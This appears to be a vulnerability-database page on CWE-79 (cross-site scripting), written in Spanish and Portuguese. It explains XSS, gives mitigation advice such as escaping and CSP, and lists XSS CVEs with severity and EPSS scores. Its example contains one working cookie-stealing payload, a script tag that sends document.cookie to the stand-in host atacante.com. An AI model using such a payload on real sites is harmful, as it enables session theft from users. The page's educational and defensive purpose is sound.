Fallos del tipo CWE-79

28.941 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-27624MEDIUMWordPress Redirect After Login Plugin <= 0.1.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.6%CVE-2022-2116—Elementor Contact Form DB < 1.8.0 - Reflected Cross-Site ScriptingEPSS 0.6%CVE-2021-24667—Gallery Blocks with Lightbox < 2.2.1- Authenticated Stored Cross-Site ScriptingEPSS 0.6%CVE-2021-36826MEDIUMWordPress WP Project Manager plugin <= 2.4.13 - Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2022-2378—Easy Student Results <= 2.2.8 - Reflected Cross-Site ScriptingEPSS 0.6%CVE-2026-55570CRITICALSiYuan: Stored XSS results to Electron RCE in SiYuan marketplace via unescaped `data-obj` attribute (Bypass for CVE-2026-45375's patch)EPSS 0.6%CVE-2023-50072MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability exists in OpenKM version 7.1.40 (dbb6e88) With Professional Extension that allows an autheEPSS 0.6%CVE-2023-0470HIGHCross-site Scripting (XSS) - Stored in modoboa/modoboaEPSS 0.6%CVE-2021-25993MEDIUMRequarks wiki.js - Stored Cross-Site Scripting (XSS) in markdown editorEPSS 0.6%CVE-2021-42361MEDIUMContact Form Email <= 1.3.24 Authenticated Stored Cross-Site ScriptingEPSS 0.6%CVE-2024-23941MEDIUMCross-site scripting vulnerability exists in Group Office prior to v6.6.182, prior to v6.7.64 and prior to v6.8.31, which may allow a remoteEPSS 0.6%CVE-2024-2679LOWCampcodes Online Job Finder System index.php cross site scriptingEPSS 0.6%CVE-2021-24665—WP Video Lightbox < 1.9.3 - Contributor+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2021-24296—WP Customer Reviews < 3.5.6 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 0.6%CVE-2021-24607—Storefront Footer Text <= 1.0.1 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-35143MEDIUMJenkins Maven Repository Server Plugin 1.10 and earlier does not escape the versions of build artifacts on the Build Artifacts As Maven RepoEPSS 0.6%CVE-2021-24515—Video Gallery - Vimeo and YouTube Gallery < 1.1.5 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2021-24787—Client Invoicing by Sprout Invoices < 19.9.7 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2021-24687—Modern Events Calendar Lite < 5.22.2 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2021-24653—Cookie Bar < 1.8.9 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%